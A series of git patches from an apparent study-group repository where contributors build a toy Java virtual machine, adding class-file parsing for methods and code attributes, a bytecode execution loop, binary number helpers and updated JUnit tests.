diff --git a/group01/895457260/code/src/main/java/jvm/engine/MethodArea.java b/group01/895457260/code/src/main/java/jvm/engine/MethodArea.java
index 00f40a949e..20f3e3c310 100644
--- a/group01/895457260/code/src/main/java/jvm/engine/MethodArea.java
+++ b/group01/895457260/code/src/main/java/jvm/engine/MethodArea.java
@@ -54,10 +54,6 @@ public Method getMethod(String className, String methodName, String paramAndRetu
     }
 
     public Method getMethod(MethodRefInfo methodRef) throws ReadClassException {
-        String[] split = methodRef.getNameAndType().split(":");
-        String className = methodRef.getClassName();
-        String methodName = split[0];
-        String paramAndReturnType = split[1];
-        return getMethod(className, methodName, paramAndReturnType);
+        return getMethod(methodRef.getClassName(), methodRef.getName(), methodRef.getParamAndReturnType());
     }
 }
diff --git a/group01/895457260/code/src/main/java/jvm/engine/MiniJVM.java b/group01/895457260/code/src/main/java/jvm/engine/MiniJVM.java
index eae3d36935..8eb36f033e 100644
--- a/group01/895457260/code/src/main/java/jvm/engine/MiniJVM.java
+++ b/group01/895457260/code/src/main/java/jvm/engine/MiniJVM.java
@@ -3,9 +3,23 @@
 import jvm.ClassFileLoader;
 import jvm.exception.ReadClassException;
 
+import java.util.ArrayList;
+import java.util.List;
+
 public class MiniJVM {
+    private boolean enablePrint = true;
+
+    private static final List<String> defaultClassPaths = new ArrayList<>();
+
+    public MiniJVM() {
+        defaultClassPaths.add("target/classes");
+    }
+
     public void run(String[] classPaths, String className) throws ReadClassException {
         ClassFileLoader loader = new ClassFileLoader();
+        for (String classPath : defaultClassPaths) {
+            loader.addClassPath(classPath);
+        }
         for (String classPath : classPaths) {
             loader.addClassPath(classPath);
         }
@@ -14,6 +28,24 @@ public void run(String[] classPaths, String className) throws ReadClassException
         methodArea.setClassFileLoader(loader);
         ExecutorEngine engine = new ExecutorEngine();
         className = className.replace(".", "/");
+
+        initConsolePrinting();
+
         engine.execute(methodArea.getMainMethod(className));
+
+        while (enablePrint && ConsolePrinter.printingBuf == null) {
+            enablePrint = false;
+        }
+    }
+
+    private void initConsolePrinting() {
+        new Thread(() -> {
+            while (enablePrint) {
+                if (ConsolePrinter.printingBuf != null) {
+                    System.out.println(ConsolePrinter.printingBuf);
+                    ConsolePrinter.printingBuf = null;
+                }
+            }
+        }).start();
     }
 }
diff --git a/group01/895457260/code/src/main/java/jvm/engine/StackFrame.java b/group01/895457260/code/src/main/java/jvm/engine/StackFrame.java
index 8807caa37f..f360f8dc30 100644
--- a/group01/895457260/code/src/main/java/jvm/engine/StackFrame.java
+++ b/group01/895457260/code/src/main/java/jvm/engine/StackFrame.java
@@ -28,17 +28,17 @@ public ExecutionResult execute() throws ReadClassException {
             ByteCodeCommand cmd = commands[index];
             ExecutionResult result = new ExecutionResult();
             cmd.execute(this, result);
-            index++;
-            result.setNextCmdOffset(commands[index].getOffset());
 
             if (result.isExitCurrentFrame()) {
                 return result;
             } else if (result.isPauseAndRunNewFrame()) {
+                index++;
                 return result;
             } else if (result.isJump()) {
-                TwoOperandCmd jumpCmd = (TwoOperandCmd) cmd;
-                int offset = (jumpCmd.getOperand1() << 8) | jumpCmd.getOperand2();
+                int offset = result.getNextCmdOffset();
                 index = getNextCommandIndex(offset);
+            } else {
+                index++;
             }
         }
         ExecutionResult frameResult = new ExecutionResult();
@@ -92,4 +92,9 @@ public void setLocalVariableValue(int index, JavaObject jo) {
     public Method getMethod() {
         return method;
     }
+
+    @Override
+    public String toString() {
+        return getMethod().toString();
+    }
 }
diff --git a/group01/895457260/code/src/main/java/jvm/util/ByteCodeIterator.java b/group01/895457260/code/src/main/java/jvm/util/ByteCodeIterator.java
index a385aee580..535688e408 100644
--- a/group01/895457260/code/src/main/java/jvm/util/ByteCodeIterator.java
+++ b/group01/895457260/code/src/main/java/jvm/util/ByteCodeIterator.java
@@ -47,7 +47,7 @@ public String nextHexString(int byteCount) {
 	}
 
 	public int nextInt(int byteCount) {
-		int result = ByteUtils.toInt(codes, pos, byteCount);
+		int result = ByteUtils.toUnsignedInt(codes, pos, byteCount);
 		pos += byteCount;
 		return result;
 	}
diff --git a/group01/895457260/code/src/main/java/jvm/util/ByteUtils.java b/group01/895457260/code/src/main/java/jvm/util/ByteUtils.java
index 17d7537209..829ff20d10 100644
--- a/group01/895457260/code/src/main/java/jvm/util/ByteUtils.java
+++ b/group01/895457260/code/src/main/java/jvm/util/ByteUtils.java
@@ -1,5 +1,8 @@
 package jvm.util;
 
+import jvm.util.code.Code;
+import jvm.util.code.CompCode;
+
 /**
  * Created by Haochen on 2017/4/9.
  * TODO:
@@ -19,11 +22,11 @@ public static String toHexString(byte[] bytes, int off, int len) {
         return builder.toString();
     }
 
-    public static int toInt(byte[] bytes) {
-        return toInt(bytes, 0, bytes.length);
+    public static int toUnsignedInt(byte[] bytes) {
+        return toUnsignedInt(bytes, 0, bytes.length);
     }
 
-    public static int toInt(byte[] bytes, int off, int len) {
+    public static int toUnsignedInt(byte[] bytes, int off, int len) {
         return Integer.parseInt(toHexString(bytes, off, len), 16);
     }
 
@@ -32,6 +35,6 @@ public static float toFloat(byte[] bytes) {
     }
 
     public static float toFloat(byte[] bytes, int off, int len) {
-        return Float.intBitsToFloat(toInt(bytes, off, len));
+        return Float.intBitsToFloat(toUnsignedInt(bytes, off, len));
     }
 }
diff --git a/group01/895457260/code/src/main/java/jvm/util/NumberUtils.java b/group01/895457260/code/src/main/java/jvm/util/NumberUtils.java
new file mode 100644
index 0000000000..9115303775
--- /dev/null
+++ b/group01/895457260/code/src/main/java/jvm/util/NumberUtils.java
@@ -0,0 +1,22 @@
+package jvm.util;
+
+import jvm.util.code.Code;
+import jvm.util.code.CompCode;
+
+/**
+ * Created by Haochen on 2017/4/30.
+ * TODO:
+ */
+public class NumberUtils {
+    public static int toSignedInt(int unsigned, int bitCount) {
+        String bin = Integer.toBinaryString(unsigned);
+        int leader0Count = bitCount - bin.length();
+        StringBuilder builder = new StringBuilder();
+        for (int i = 0; i < leader0Count; ++i) {
+            builder.append('0');
+        }
+        builder.append(bin);
+        Code trueCode = new CompCode(Code.PURE_INTEGER, builder.toString()).trueCode();
+        return Integer.parseInt(trueCode.getCode(), 2);
+    }
+}
diff --git a/group01/895457260/code/src/main/java/jvm/util/TypeUtils.java b/group01/895457260/code/src/main/java/jvm/util/TypeUtils.java
index a3d8b618cc..7861806581 100644
--- a/group01/895457260/code/src/main/java/jvm/util/TypeUtils.java
+++ b/group01/895457260/code/src/main/java/jvm/util/TypeUtils.java
@@ -49,6 +49,6 @@ public static JavaObject getDefaultValue(Field field) {
             case FLOAT:
                 return Heap.getInstance().newFloat(0);
         }
-        return Heap.getInstance().newClassReference(field.getDescriptor());
+        return null;
     }
 }
diff --git a/group01/895457260/code/src/main/java/jvm/util/code/Code.java b/group01/895457260/code/src/main/java/jvm/util/code/Code.java
new file mode 100644
index 0000000000..75f0838b52
--- /dev/null
+++ b/group01/895457260/code/src/main/java/jvm/util/code/Code.java
@@ -0,0 +1,100 @@
+package jvm.util.code;
+
+/**
+ * Created by Haochen on 2017/1/5.
+ */
+public abstract class Code {
+    public static final int PURE_DECIMAL = 1;
+    public static final int PURE_INTEGER = 2;
+
+    protected String code;
+    protected int type;
+    protected Getter getter;
+
+    public Code(int type, String code) {
+        this.type = type;
+        this.code = code.replaceAll("[+]", "");
+        init();
+    }
+
+    protected final void init() {
+        if (type == PURE_DECIMAL) {
+            getter = new PureDecimal();
+        } else {
+            getter = new PureInteger();
+        }
+    }
+
+    public String getCode() {
+        return code;
+    }
+
+    public int getType() {
+        return type;
+    }
+
+    public String bitwiseNOTAddOne() {
+        int[] array = intArray();
+        int last1 = code.lastIndexOf('1');
+        for (int i = 1; i < last1; ++i) {
+            array[i] = 1 - array[i];
+        }
+        return intArrayToString(array);
+    }
+
+    public String compString() {
+        if (isNegative()) {
+            return bitwiseNOTAddOne();
+        } else {
+            return code;
+        }
+    }
+
+    public static String intArrayToString(int[] array) {
+        String str = "";
+        for (int i : array) {
+            str += i;
+        }
+        return str;
+    }
+
+    public int[] intArray() {
+        int[] array = new int[code.length()];
+        char[] chars = code.toCharArray();
+        for (int i = 0; i < array.length; ++i) {
+            array[i] = Integer.parseInt("" + chars[i]);
+        }
+        return array;
+    }
+
+    public int length() {
+        return code.length();
+    }
+
+    public boolean isNegative() {
+        return code.startsWith("1");
+    }
+
+    public final double value() {
+        return getter.value(trueCode());
+    }
+
+    public Code valueCode() {
+        return getter.valueCode(trueCode());
+    }
+
+    public Code compCode() {
+        return trueCode().compCode();
+    }
+
+    public void expand(int bit) {
+        getter.expand(this, bit, 0);
+    }
+
+    public void expand(int bit, int fill) {
+        getter.expand(this, bit, fill);
+    }
+
+    public abstract Code trueCode();
+    public abstract Code inverseSign();
+}
diff --git a/group01/895457260/code/src/main/java/jvm/util/code/CompCode.java b/group01/895457260/code/src/main/java/jvm/util/code/CompCode.java
new file mode 100644
index 0000000000..a7e1fb426a
--- /dev/null
+++ b/group01/895457260/code/src/main/java/jvm/util/code/CompCode.java
@@ -0,0 +1,27 @@
+package jvm.util.code;
+
+/**
+ * Created by Haochen on 2017/1/5.
+ */
+public class CompCode extends Code {
+    public CompCode(int type, String code) {
+        super(type, code);
+    }
+
+    @Override
+    public Code compCode() {
+        return this;
+    }
+
+    @Override
+    public Code trueCode() {
+        return new TrueCode(type, compString());
+    }
+
+    @Override
+    public Code inverseSign() {
+        String str = bitwiseNOTAddOne().substring(1);
+        Code code = new CompCode(type, isNegative() ? "0" + str : "1" + str);
+        return code;
+    }
+}
diff --git a/group01/895457260/code/src/main/java/jvm/util/code/Getter.java b/group01/895457260/code/src/main/java/jvm/util/code/Getter.java
new file mode 100644
index 0000000000..235cbae969
--- /dev/null
+++ b/group01/895457260/code/src/main/java/jvm/util/code/Getter.java
@@ -0,0 +1,18 @@
+package jvm.util.code;
+
+/**
+ * Created by Haochen on 2017/1/5.
+ */
+public abstract class Getter {
+    public final double value(Code trueCode) {
+        return value(trueCode.getCode());
+    }
+
+    public final Code valueCode(Code trueCode) {
+        return valueCode(trueCode.getCode());
+    }
+
+    public abstract double value(String trueCode);
+    public abstract Code valueCode(String trueCode);
+    public abstract void expand(Code code, int bit, int fill);
+}
diff --git a/group01/895457260/code/src/main/java/jvm/util/code/PureDecimal.java b/group01/895457260/code/src/main/java/jvm/util/code/PureDecimal.java
new file mode 100644
index 0000000000..82f2dbd0fe
--- /dev/null
+++ b/group01/895457260/code/src/main/java/jvm/util/code/PureDecimal.java
@@ -0,0 +1,35 @@
+package jvm.util.code;
+
+/**
+ * Created by Haochen on 2017/1/5.
+ */
+public class PureDecimal extends Getter {
+    @Override
+    public double value(String trueCode) {
+        char[] array = trueCode.toCharArray();
+
+        double result = 0;
+        double r = 0.5;
+        for (int i = 1; i < array.length; ++i, r /= 2) {
+            result += Integer.parseInt("" + array[i]) * r;
+        }
+
+        if (trueCode.startsWith("1")) {
+            result *= -1;
+        }
+        return result;
+    }
+
+    @Override
+    public Code valueCode(String trueCode) {
+        return new ValueCode(trueCode.startsWith("1") ?
+                trueCode.replaceFirst("1", "-0.") : trueCode.replaceFirst("0", "0."));
+    }
+
+    @Override
+    public void expand(Code code, int bit, int fill) {
+        for (int i = code.code.length(); i < bit; ++i) {
+            code.code += fill;
+        }
+    }
+}
diff --git a/group01/895457260/code/src/main/java/jvm/util/code/PureInteger.java b/group01/895457260/code/src/main/java/jvm/util/code/PureInteger.java
new file mode 100644
index 0000000000..2a5d36f603
--- /dev/null
+++ b/group01/895457260/code/src/main/java/jvm/util/code/PureInteger.java
@@ -0,0 +1,36 @@
+package jvm.util.code;
+
+/**
+ * Created by Haochen on 2017/1/5.
+ */
+public class PureInteger extends Getter {
+    @Override
+    public double value(String trueCode) {
+        char[] array = trueCode.toCharArray();
+
+        int result = 0;
+        for (int i = array.length - 1, r = 1; i > 0; --i, r *= 2) {
+            result += Integer.parseInt("" + array[i]) * r;
+        }
+
+        if (trueCode.startsWith("1")) {
+            result *= -1;
+        }
+        return result;
+    }
+
+    @Override
+    public Code valueCode(String trueCode) {
+        return new ValueCode(trueCode.startsWith("1") ?
+                trueCode.replaceFirst("1", "-") : trueCode.replaceFirst("0", ""));
+    }
+
+    @Override
+    public void expand(Code code, int bit, int fill) {
+        StringBuilder builder = new StringBuilder(code.code);
+        for (int i = code.code.length(); i < bit; ++i) {
+            builder.insert(1, fill);
+        }
+        code.code = builder.toString();
+    }
+}
diff --git a/group01/895457260/code/src/main/java/jvm/util/code/TrueCode.java b/group01/895457260/code/src/main/java/jvm/util/code/TrueCode.java
new file mode 100644
index 0000000000..10f872e56d
--- /dev/null
+++ b/group01/895457260/code/src/main/java/jvm/util/code/TrueCode.java
@@ -0,0 +1,27 @@
+package jvm.util.code;
+
+/**
+ * Created by Haochen on 2017/1/5.
+ */
+public class TrueCode extends Code {
+    public TrueCode(int type, String code) {
+        super(type, code);
+    }
+
+    @Override
+    public Code compCode() {
+        return new CompCode(type, compString());
+    }
+
+    @Override
+    public Code trueCode() {
+        return this;
+    }
+
+    @Override
+    public Code inverseSign() {
+        String str = code.substring(1);
+        Code code = new TrueCode(type, isNegative() ? "0" + str : "1" + str);
+        return code;
+    }
+}
diff --git a/group01/895457260/code/src/main/java/jvm/util/code/ValueCode.java b/group01/895457260/code/src/main/java/jvm/util/code/ValueCode.java
new file mode 100644
index 0000000000..5f42be3b44
--- /dev/null
+++ b/group01/895457260/code/src/main/java/jvm/util/code/ValueCode.java
@@ -0,0 +1,48 @@
+package jvm.util.code;
+
+/**
+ * Created by Haochen on 2017/1/5.
+ */
+public class ValueCode extends Code {
+    public ValueCode(String code) {
+        super(code.contains(".") ? PURE_DECIMAL : PURE_INTEGER, code);
+    }
+
+    @Override
+    public String compString() {
+        return "";
+    }
+
+    @Override
+    public boolean isNegative() {
+        return code.startsWith("-");
+    }
+
+    @Override
+    public int[] intArray() {
+        return new int[0];
+    }
+
+    @Override
+    public Code valueCode() {
+        return this;
+    }
+
+    @Override
+    public void expand(int bit, int fill) {
+        super.expand(bit);
+    }
+
+    @Override
+    public Code trueCode() {
+        String str = isNegative() ? "1" + code.substring(1) : "0" + code;
+        return new TrueCode(type, str.replaceAll("0[.]", ""));
+    }
+
+    @Override
+    public Code inverseSign() {
+        String str = code;
+        Code code = new ValueCode(isNegative() ? str.substring(1) : "-" + str);
+        return code;
+    }
+}
diff --git a/group01/895457260/code/src/test/java/jvm/ClassFileLoaderTest.java b/group01/895457260/code/src/test/java/jvm/ClassFileLoaderTest.java
index daaa65a680..7f7b57b69e 100644
--- a/group01/895457260/code/src/test/java/jvm/ClassFileLoaderTest.java
+++ b/group01/895457260/code/src/test/java/jvm/ClassFileLoaderTest.java
@@ -56,7 +56,7 @@ public void testClassPath() {
 	public void testClassFileLength() throws ReadClassException {
 		byte[] byteCodes = loader.readBinaryCode(LOAD_CLASS_NAME);
 		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
-		Assert.assertEquals(1016, byteCodes.length);
+		Assert.assertEquals(981, byteCodes.length);
 	}
 
     @Test	
@@ -79,65 +79,65 @@ public void testConstantPool() {
 
 		ConstantPool pool = clzFile.getConstantPool();
 
-		Assert.assertEquals(53, pool.getSize());
+		Assert.assertEquals(48, pool.getSize());
 
 		{
-			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(7);
-			Assert.assertEquals(44, clzInfo.getUtf8Index());
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(6);
+			Assert.assertEquals(41, clzInfo.getUtf8Index());
 
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(44);
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(41);
 			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
 		}
 		{
-			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(11);
-			Assert.assertEquals(48, clzInfo.getUtf8Index());
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(10);
+			Assert.assertEquals(45, clzInfo.getUtf8Index());
 
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(48);
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(45);
 			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
 		}
 		{
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(12);
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(11);
 			Assert.assertEquals("name", utf8Info.getValue());
 
-			utf8Info = (UTF8Info) pool.getConstantInfo(13);
+			utf8Info = (UTF8Info) pool.getConstantInfo(12);
 			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
 
-			utf8Info = (UTF8Info) pool.getConstantInfo(14);
+			utf8Info = (UTF8Info) pool.getConstantInfo(13);
 			Assert.assertEquals("age", utf8Info.getValue());
 
-			utf8Info = (UTF8Info) pool.getConstantInfo(15);
+			utf8Info = (UTF8Info) pool.getConstantInfo(14);
 			Assert.assertEquals("I", utf8Info.getValue());
 
-			utf8Info = (UTF8Info) pool.getConstantInfo(16);
+			utf8Info = (UTF8Info) pool.getConstantInfo(15);
 			Assert.assertEquals("<init>", utf8Info.getValue());
 
-			utf8Info = (UTF8Info) pool.getConstantInfo(17);
+			utf8Info = (UTF8Info) pool.getConstantInfo(16);
 			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
 
-			utf8Info = (UTF8Info) pool.getConstantInfo(18);
+			utf8Info = (UTF8Info) pool.getConstantInfo(17);
 			Assert.assertEquals("Code", utf8Info.getValue());
 		}
 
 		{
 			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(1);
-			Assert.assertEquals(11, methodRef.getClassInfoIndex());
-			Assert.assertEquals(36, methodRef.getNameAndTypeIndex());
+			Assert.assertEquals(10, methodRef.getClassInfoIndex());
+			Assert.assertEquals(35, methodRef.getNameAndTypeIndex());
 		}
 
 		{
-			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(36);
-			Assert.assertEquals(16, nameAndType.getIndex1());
-			Assert.assertEquals(28, nameAndType.getIndex2());
+			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(35);
+			Assert.assertEquals(15, nameAndType.getIndex1());
+			Assert.assertEquals(27, nameAndType.getIndex2());
 		}
 		//抽查几个吧
 		{
 			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(9);
-			Assert.assertEquals(7, methodRef.getClassInfoIndex());
-			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
+			Assert.assertEquals(6, methodRef.getClassInfoIndex());
+			Assert.assertEquals(44, methodRef.getNameAndTypeIndex());
 		}
 
 		{
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(35);
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(34);
 			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
 		}
 	}
@@ -204,7 +204,7 @@ public void testMethods() {
 			assertMethodEquals(pool,m,
 					"sayHello",
 					"()V",
-					"b200041205b60006b1");
+					"1204b80005b1");
 
 		}
 		{
@@ -212,7 +212,7 @@ public void testMethods() {
 			assertMethodEquals(pool,m,
 					"main",
 					"([Ljava/lang/String;)V",
-					"bb0007591208101db700094c2bb6000ab1");
+					"bb0006591207101db700084c2bb60009b1");
 		}
 	}
 
@@ -260,10 +260,9 @@ public void testByteCodeCommand(){
 					"()V");
 			ByteCodeCommand [] cmds = sayHelloMethod.getCommands();
 
-			assertOpCodeEquals("0: getstatic #4", cmds[0]);
-			assertOpCodeEquals("3: ldc #5", cmds[1]);
-			assertOpCodeEquals("5: invokevirtual #6", cmds[2]);
-			assertOpCodeEquals("8: return", cmds[3]);
+			assertOpCodeEquals("0: ldc #4", cmds[0]);
+			assertOpCodeEquals("2: invokestatic #5", cmds[1]);
+			assertOpCodeEquals("5: return", cmds[2]);
 
 		}
 
@@ -272,14 +271,14 @@ public void testByteCodeCommand(){
 
 			ByteCodeCommand [] cmds = mainMethod.getCommands();
 
-			assertOpCodeEquals("0: new #7", cmds[0]);
+			assertOpCodeEquals("0: new #6", cmds[0]);
 			assertOpCodeEquals("3: dup", cmds[1]);
-			assertOpCodeEquals("4: ldc #8", cmds[2]);
+			assertOpCodeEquals("4: ldc #7", cmds[2]);
 			assertOpCodeEquals("6: bipush 29", cmds[3]);
-			assertOpCodeEquals("8: invokespecial #9", cmds[4]);
+			assertOpCodeEquals("8: invokespecial #8", cmds[4]);
 			assertOpCodeEquals("11: astore_1", cmds[5]);
 			assertOpCodeEquals("12: aload_1", cmds[6]);
-			assertOpCodeEquals("13: invokevirtual #10", cmds[7]);
+			assertOpCodeEquals("13: invokevirtual #9", cmds[7]);
 			assertOpCodeEquals("16: return", cmds[8]);
 		}
 
diff --git a/group01/895457260/code/src/test/java/jvm/EmployeeV1.java b/group01/895457260/code/src/test/java/jvm/EmployeeV1.java
index 84cdf0d4e6..f2f7faccc8 100644
--- a/group01/895457260/code/src/test/java/jvm/EmployeeV1.java
+++ b/group01/895457260/code/src/test/java/jvm/EmployeeV1.java
@@ -1,28 +1,31 @@
 package jvm;
 
+import jvm.engine.ConsolePrinter;
+
 public class EmployeeV1 {
-	
-	
-	private String name;
+
+    private String name;
     private int age;
-    
+
     public EmployeeV1(String name, int age) {
         this.name = name;
-        this.age = age;        
-    }    
+        this.age = age;
+    }
 
     public void setName(String name) {
         this.name = name;
     }
-    public void setAge(int age){
-    	this.age = age;
+
+    public void setAge(int age) {
+        this.age = age;
     }
-    public void sayHello() {        
-    	System.out.println("Hello , this is class Employee ");    	
+
+    public void sayHello() {
+        ConsolePrinter.println("Hello , this is class Employee ");
     }
-    public static void main(String[] args){
-    	EmployeeV1 p = new EmployeeV1("Andy",29);
-    	p.sayHello();    
-    	
+
+    public static void main(String[] args) {
+        EmployeeV1 p = new EmployeeV1("Andy", 29);
+        p.sayHello();
     }
 }
\ No newline at end of file
diff --git a/group01/895457260/code/src/test/java/jvm/engine/MiniJVMTest.java b/group01/895457260/code/src/test/java/jvm/engine/MiniJVMTest.java
new file mode 100644
index 0000000000..a43af32454
--- /dev/null
+++ b/group01/895457260/code/src/test/java/jvm/engine/MiniJVMTest.java
@@ -0,0 +1,25 @@
+package jvm.engine;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+public class MiniJVMTest {
+	
+	private static final String PATH = "target/test-classes";
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testRun() throws Exception{
+		String[] classPaths = {PATH};
+		MiniJVM jvm = new MiniJVM();
+		jvm.run(classPaths, "jvm.EmployeeV1");
+	}
+
+}

From 4dd28500455e015482d38943de0e85946e5555f9 Mon Sep 17 00:00:00 2001
From: thomas_young <yk_ecust_2007@163.com>
Date: Mon, 1 May 2017 09:32:27 +0800
Subject: [PATCH 150/262] =?UTF-8?q?=E5=AE=8C=E6=88=90Method=E5=92=8CField?=
 =?UTF-8?q?=E7=9A=84parse(jvm=E7=AC=AC3=E6=AC=A1=E4=BD=9C=E4=B8=9A)?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../coderising/jvm/attr/CodeAttr.java         | 39 ++++++++++++++++---
 .../coderising/jvm/method/Method.java         | 22 +++++++++--
 .../jvm/test/ClassFileloaderTest.java         |  4 +-
 3 files changed, 55 insertions(+), 10 deletions(-)

diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/CodeAttr.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/CodeAttr.java
index 6c92bd0cf2..29feb072f7 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/CodeAttr.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/CodeAttr.java
@@ -53,7 +53,7 @@ public static CodeAttr parse_V2(ClassFile clzFile, ByteCodeIterator iter){
 		
 		// ByteCodeCommand[] cmds = ByteCodeCommand.parse(clzFile,code);
 		
-		CodeAttr codeAttr = new CodeAttr(attrNameIndex,attrLen, maxStack,maxLocals,codeLen,code);
+		CodeAttr codeAttr = new CodeAttr(attrNameIndex, attrLen, maxStack, maxLocals, codeLen, code);
 		
 		int exceptionTableLen = iter.nextU2toInt();
 		//TODO 处理exception
@@ -74,7 +74,6 @@ public static CodeAttr parse_V2(ClassFile clzFile, ByteCodeIterator iter){
 			iter.skip(-2);
 			//line item table
 			if(AttributeInfo.LINE_NUM_TABLE.equalsIgnoreCase(subAttrName)){
-				
 				LineNumberTable t = LineNumberTable.parse(iter);
 				codeAttr.setLineNumberTable(t);
 			}
@@ -89,15 +88,45 @@ else if (AttributeInfo.STACK_MAP_TABLE.equalsIgnoreCase(subAttrName)){
 			else{
 				throw new RuntimeException("Need code to process " + subAttrName);
 			}
-			
-			
 		}
 		
 		return codeAttr;
 	}
 	public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
+		int attributeNameIndex = iter.nextU2toInt();
+		int attributeLength = iter.nextU4toInt();
+		int maxStack = iter.nextU2toInt();
+		int maxLocals = iter.nextU2toInt();
+		int codeLength = iter.nextU4toInt();
+
+		String code = iter.nextUxToHexString(codeLength);
+        CodeAttr codeAttr = new CodeAttr(attributeNameIndex, attributeLength, maxStack, maxLocals, codeLength, code);
+
+        int exceptionTableLen = iter.nextU2toInt();
+        if(exceptionTableLen>0){
+            String exTable = iter.nextUxToHexString(exceptionTableLen);
+            System.out.println("Encountered exception table , just ignore it :" + exTable);
+        }
 
-		return null;
+        int attributesCount = iter.nextU2toInt();
+        for (int i=0; i<attributesCount; i++) {
+            int subAttrIndex = iter.nextU2toInt();
+            String subAttrName = clzFile.getConstantPool().getUTF8String(subAttrIndex);
+            iter.skip(-2);
+            if (AttributeInfo.LINE_NUM_TABLE.equalsIgnoreCase(subAttrName)) {
+                LineNumberTable lineNumberTable = LineNumberTable.parse(iter);
+                codeAttr.setLineNumberTable(lineNumberTable);
+            } else if (AttributeInfo.LOCAL_VAR_TABLE.equalsIgnoreCase(subAttrName)) {
+                LocalVariableTable localVariableTable = LocalVariableTable.parse(iter);
+                codeAttr.setLocalVariableTable(localVariableTable);
+            } else if (AttributeInfo.STACK_MAP_TABLE.equalsIgnoreCase(subAttrName)) {
+                StackMapTable stackMapTable = StackMapTable.parse(iter);
+                codeAttr.setStackMapTable(stackMapTable);
+            } else {
+                throw new RuntimeException("Need code to process " + subAttrName);
+            }
+        }
+        return codeAttr;
 	}
 
 	public String toString(ConstantPool pool){
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/method/Method.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/method/Method.java
index 886913638e..f7e09075f5 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/method/Method.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/method/Method.java
@@ -73,8 +73,7 @@ public static Method parse_V2(ClassFile clzFile, ByteCodeIterator iter){
 		Method m = new Method(clzFile, accessFlag, nameIndex, descIndex);
 		
 		for( int j=1; j<= attribCount; j++) {
-
-			int attrNameIndex = iter.nextU2toInt();
+            int attrNameIndex = iter.nextU2toInt();
 			String attrName = clzFile.getConstantPool().getUTF8String(attrNameIndex);
 			iter.skip(-2);
 
@@ -89,8 +88,25 @@ public static Method parse_V2(ClassFile clzFile, ByteCodeIterator iter){
 		return m ;
 	}
 	public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
+		int accessFlag = iter.nextU2toInt();
+		int nameIndex = iter.nextU2toInt();
+		int descriptorIndex = iter.nextU2toInt();
+		int attributeCount = iter.nextU2toInt();
+
+		Method method = new Method(clzFile, accessFlag, nameIndex, descriptorIndex);
+		for (int i=0; i<attributeCount; i++) {
+			int attributeNameIndex = iter.nextU2toInt();
+			String attributeName = clzFile.getConstantPool().getUTF8String(attributeNameIndex);
+            iter.skip(-2);  // 把游标指向属性开头位置
+			if (AttributeInfo.CODE.equalsIgnoreCase(attributeName)) {
+				CodeAttr codeAttr = CodeAttr.parse(clzFile, iter);
+				method.setCodeAttr(codeAttr);
+			} else {
+				throw new RuntimeException("only CODE attribute is implemented , please implement the " + attributeName);
+			}
 
-		return null;
+		}
+		return method;
 	}
 
 }
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/test/ClassFileloaderTest.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/test/ClassFileloaderTest.java
index c9cb40d314..0675712b1f 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/test/ClassFileloaderTest.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/test/ClassFileloaderTest.java
@@ -239,8 +239,8 @@ public void testMethods(){
         }
     }
 
-    private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
-         String methodName = pool.getUTF8String(m.getNameIndex());
+    private void assertMethodEquals(ConstantPool pool, Method m , String expectedName, String expectedDesc, String expectedCode){
+        String methodName = pool.getUTF8String(m.getNameIndex());
         String methodDesc = pool.getUTF8String(m.getDescriptorIndex());
         String code = m.getCodeAttr().getCode();
         Assert.assertEquals(expectedName, methodName);

From 6ce5ccbdae6e330b778f97b8a138775ee544f976 Mon Sep 17 00:00:00 2001
From: thomas_young <yk_ecust_2007@163.com>
Date: Mon, 1 May 2017 14:08:45 +0800
Subject: [PATCH 151/262] little improve

---
 .../coding2017/coderising/jvm/attr/LineNumberTable.java         | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

